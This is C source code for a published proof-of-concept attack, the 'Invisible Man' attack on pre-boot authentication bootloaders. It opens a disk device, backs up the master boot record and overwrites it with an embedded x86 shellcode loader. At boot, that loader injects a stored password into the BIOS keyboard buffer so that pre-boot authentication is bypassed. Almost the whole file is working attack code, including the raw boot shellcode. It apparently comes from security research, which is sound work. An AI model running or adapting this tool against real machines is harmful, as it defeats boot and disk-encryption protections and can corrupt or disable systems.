/*
*
* Jonathan Brossard - [email protected] // [email protected]
*
*    "Invisible Man" attack against pre-boot authentication bootloaders
*
*
* This is plain old MBR patching, like implemented
* by many MBR virii since the 80's.
*
* Keyboard filling routines shamelessly ripped from "The art of assembly".
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <getopt.h>


#include <malloc.h>
#include <sys/mman.h>

#define DISK_OFFSET 10000
#define BUFF_SIZE 512
#define BUFF_LENGTH 255


	char evilloader[]="\x90\x90\xeb\x03\x5b\xeb\x7f\xe8\xfa\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x88\xc2\x31\xc9\xe4\x64\xa8\x01\xe0\xfa\xfa\xe4\x21\x50\x0c\x02\xe6\x21\xe8\x37\x00\xb0\x60\xe6\x64\xe8\x30\x00\x88\xd0\xe6\x60\xe8\x29\x00\xb0\x20\xe6\x64\x31\xc9\xe4\x64\xa8\x01\xe1\xfa\xe8\x1a\x00\xb0\x60\xe6\x64\xe8\x13\x00\xb0\x45\xe6\x60\xe4\x60\xcd\x09\xe8\x08\x00\xb0\xae\xe6\x64\x58\xe6\x21\xc3\x51\x50\x31\xc9\xe4\x64\xa8\x02\xe0\xfa\x58\x59\xc3\x53\x81\xc3\x02\x00\x89\xde\xb9\x20\x00\x0e\x1f\x51\x3e\x8a\x04\x3c\x00\x74\x08\xe8\x90\xff\x46\x59\xe2\xef\x51\x59\x31\xc0\x8e\xd8\x3e\xa1\x13\x04\x2d\x0a\x00\x3e\xa3\x13\x04\x07\x50\x06\xb1\x06\xd3\xe0\x8e\xc0\x06\x31\xd2\xfe\xc2\xb4\x02\xb0\x01\xbb\x00\x00\xb5\x00\xb1\x01\xb6\x00\xcd\x13\x80\xfc\x00\x75\xea\x80\xfa\x10\x74\x41\x26\x80\xbf\xfe\x01\x55\x75\xdd\x26\x80\xbf\xff\x01\xaa\x75\xd5\x07\x06\xb4\x02\xb0\x14\xbb\x00\x00\xb5\x00\xb1\x01\xb6\x00\xcd\x13\x80\xfc\x00\x75\xbf\x0e\x1f\x07\x5e\x31\xdb\x3e\x8b\x1c\xb4\x03\xb0\x01\xb5\x00\xb1\x01\xb6\x00\xcd\x13\xb4\x03\xb0\x01\xcd\x13\x0e\x1f\x0e\x1f\xe8\x00\x00\x58\x05\x14\x00\x50\x5e\x2d\x00\x7c\x05\x04\x00\x3e\x89\x04\x3e\x8c\x44\x02\xea\x00\x00\xff\xff\x90\x90\x90\x90\x90\x90\x90\x90\xbb\x00\x7c\x31\xc0\x50\x07\xb4\x02\xb0\x01\xb5\x00\xb1\x01\xb6\x00\xcd\x13\x58\x3e\x8b\x1e\x13\x04\x39\xd8\x75\x07\x05\x0a\x00\x3e\xa3\x13\x04\xea\x00\x7c\x00\x00";



/* Translation tables for keys to/from scancodes */

	char scancodes1[]=  {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B',
	'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T',
	'U', 'V', 'W', 'X', 'Y', 'Z','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',
	'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '!', '@', '#', '$',
	'%', '^', '&', '*', '(', ')', '_', '-', '=', '+', '[', '{', ']', '}', ';', ':','\'', '"',
	'`', '~', '|', '\\', '<', ',', '>', '.', '?', '/', '*', '-', 0x19 /*  down key */,
	0x18 /* up key */, 0x1a /* right key*/, 0x1b /* left key */, 0x0d /* Enter */,
	0x1b /* Esc */, 0x20 /* space */ };


	char scancodes2[]= {0x0B, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 
	0x1E, 0x30, 0x2E, 0x20, 0x12, 0x21, 0x22, 0x23, 0x17, 0x24, 0x25, 0x26, 0x32, 0x31, 0x18,
	0x19, 0x10, 0x13, 0x1F, 0x14, 0x16, 0x2F, 0x11, 0x2D, 0x15, 0x2C, 0x1E, 0x30, 0x2E, 0x20,
	0x12, 0x21, 0x22, 0x23, 0x17, 0x24, 0x25, 0x26, 0x32, 0x31, 0x18, 0x19, 0x10, 0x13, 0x1F,
	0x14, 0x16, 0x2F, 0x11, 0x2D, 0x15, 0x2C, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09,
	0x0A, 0x0B, 0x0C, 0x0C, 0x0D, 0x0D, 0x1A, 0x1A, 0x1B, 0x1B, 0x27, 0x27, 0x28, 0x28, 0x29,
	0x29, 0x2B, 0x2B, 0x33, 0x33, 0x34, 0x34, 0x35, 0x35, 0x37, 0x4A, 0x50, 0x48, 0x4D, 0x4B,
	0x1C, 0x01, 0x39 } ;



	char password[16]={0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
			   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
	char password2[32];

/*
* Remove one character from the translated password buffer
*/
int remove_char(int j) {

	int i;

	for (i=j;i<sizeof(password2);i++) {
		if ( i == sizeof(password2) ) {
			password2[i] = 0x00;
		} else{
			password2[i]=password2[i+1];
		}
	}

	return 0;
}

/*
* Convert password to 'keystroke+scancode' format
*/
int convert_password(void) {

	int i,j;

	for (i=0;1<16;i++) {

		/* convert 'enter' keystroke */
		if ( password[i] == 0x0a ) {
			password[i]= 0x0d;
		}

		if ( password[i] == 0x00 ) {
			password2[2*i] = 0x00;
			break;
		} else {
			password2[2*i] = password[i];

			for (j=0;j<sizeof(scancodes1);j++) {
				if ( scancodes1[j] == password[i] ) {
					password2[2*i+1] = scancodes2[j];
					break;
				}
				if ( j == (sizeof(scancodes1) - 1) ) {
					/* error on given password */
					return 1;
				}			
			}

		}
	}


	/* remove every occurence of 0x0d : the enter key is only coded on one byte */
	for (j=0;j<sizeof(password2);) {
		if ( password2[j] == 0x0d ) {
			remove_char(j);
		} else {
			j++;
		}

	}



	return 0;
}

/*
* Copy translated password to shellcode
*/
int load_password(void) {

	int i;

	printf("  [*] Translated Password: [ ");
	for (i=0;i<32;i++) {
		if( password2[i] == 0x00)
			break;
		printf("%02x ",password2[i]);
		evilloader[12+i] = password2[i];

	}
	printf("]\n");

	return 0;
}

/*
* Display some help
*/
int usage(int argc, char **argv) {

	fprintf(stderr,
		"usage: %s [-h] [--disk=<device>] [--password=<file>]\n"
		"\n"
		"--help (or -h)			display this help\n"
		"--disk (or -d)			device containing the MBR\n"
		"--password (or -p)		file containing the desired input\n"
		"\n  THIS WILL MODIFY YOUR MASTER BOOT RECORD\n"
		"  DONT USE UNTIL YOU KNOW WHAT YOU ARE DOING\n\n",
		argv[0]);

	exit(-2);
}

int main (int argc, char * argv[]) {



	char PASSWORD_FILE[BUFF_LENGTH];
	char DISK_NAME[BUFF_LENGTH];



	int fd;
	int c,i,j=0, retaddr,jumpposition;

	FILE * passwdfile;


	if (argc < 2)
		usage(argc, argv);

	/*
	* Command line options parsing
	*/
	while (1) {
		int this_option_optind = optind ? optind : 1;
		int option_index = 0;
		static struct option long_options[] =
		    { 	{"help", 0, 0, 'h'},
			{"password", 1, 0, 'p'},
			{"disk", 1, 0, 'd'},
			{0, 0, 0, 0} };

		c = getopt_long(argc, argv, "hp:d:", long_options,
				&option_index);
		if (c == -1)
			break;

		switch (c) {
		case 'h':
			usage(argc, argv);
			break;

		case 'p':
			if(optarg != 0) {
				strncpy(PASSWORD_FILE, optarg, BUFF_LENGTH);
			} else {
				fprintf(stderr, "  [!!] try giving an actual option instead of : '%c'\n", c);
				exit(-2);
			}
			break;

		case 'd':
			if(optarg != 0) {
				strncpy(DISK_NAME, optarg, BUFF_LENGTH);
			} else {
				fprintf(stderr, "  [!!] try giving an actual option instead of : '%c'\n", c);
				exit(-2);
			}
			break;

		default:
			fprintf(stderr, "  [!!] unknown option : '%c'\n", c);
			exit(-2);
		}
	}

	/*
	* Read password from file
	*/
	passwdfile = fopen(PASSWORD_FILE, "r");
	if (!passwdfile) {
		perror("error opening password file: ");
		exit(-3);
	}

	fscanf(passwdfile,"%16c",password);

	/*
	* Open device and read DISK_OFFSET first bytes
	*/
	fd = open(DISK_NAME, O_RDWR);
	if (fd == -1) {
		perror("Fatal error while opening disk: ");
		exit(-1);
	}

	int PageSize = (int)sysconf(_SC_PAGESIZE);
	if ( PageSize < 0) {
		perror("Fatal error in sysconf: ");
		exit(-1);
	}

	char* map = mmap(0, DISK_OFFSET , PROT_READ| PROT_WRITE , MAP_SHARED, fd, 0);	
	if(map == MAP_FAILED) {
		perror("Fatal error in mmap: ");
		exit(-1);
	}

	/*
	* Read original jump address from MBR
	*/
	for (i=0;i<10;i++) {
		if ( (unsigned char) *(map + i ) == 0xeb ) { /* jmp short ... */
			break;
		}
	}

	if ( i >= 9 ) {
		printf("Could't find initial jmp short : quiting\n");
		exit(-1);
	} else {
		jumpposition = i + 1;
	}

	retaddr= * (map + jumpposition) +2;
	printf("  [*] Initial jump: 0x%x at position 0x%x\n", retaddr,jumpposition);

	/*
	* search for a DISK_OFFSET bytes long buffer filled with 0x00 
	* to back up MBR
	*/
	j = 0;
	for (i=513;i<DISK_OFFSET;i++) {	

		if ( *(map +i) == 0x00 ){
			j++;
		} else {
			j = 0;
		}		
	
		if ( j >= BUFF_SIZE ) {
			break;
		}
	}

	/*
	* No suitable buffer found, quit
	*/
	if (i >= DISK_OFFSET - 10) {
		printf("  [*] No suitable buffer found, try a larger disk offset\n");
		exit(-1);
	} else {

	/*
	* Ok, we have a suitable buffer
	*/
		i = i - BUFF_SIZE;

		printf("  [*] Found %d bytes buffer at offset 0x%4x\n",j,i);
	}

	/*
	* Backup original bootloader to buffer
	*/

	if(!memcpy(map + i,map,512)) {
		printf("backup of the original MBR failed, quitting\n");
		exit(-1);
	} else {
		printf("  [*] backup of MBR successfull\n");
	}

	/*
	* Modify the address of the MBR backup in our evil loader
	*/
	evilloader[10] = i % 256 ;
	evilloader[11] = i / 256 ;

	/*
	* Get the password translated to the 'keystroke + scancode' format
	* and copy it to shellcode
	*/
	printf("  [*] Password:\n[%s]\n\n",password);

	if( convert_password()) {
		printf("Invalid character in password...\nquitting\n");
		exit(-1);
	} else {
		load_password();
	}

	/*
	* copy our custom bootloader at intial "jump short..." landing
	*/
	if( !memcpy(map+retaddr+jumpposition,evilloader,sizeof(evilloader)) ) {
		printf("Installation of evil loader failed, quitting\n");
		exit(-1);
	} else {
		printf("  [*] Installed evil loader at offset 0x%x\n" ,retaddr+jumpposition );
	}

	/*
	* Clean and quit
	*/
        if (munmap(map, (DISK_OFFSET/PageSize +1)*PageSize  ) < 0) {
                perror("Error while freeing memory...\n");
        }

	close(fd);
	return 0;

}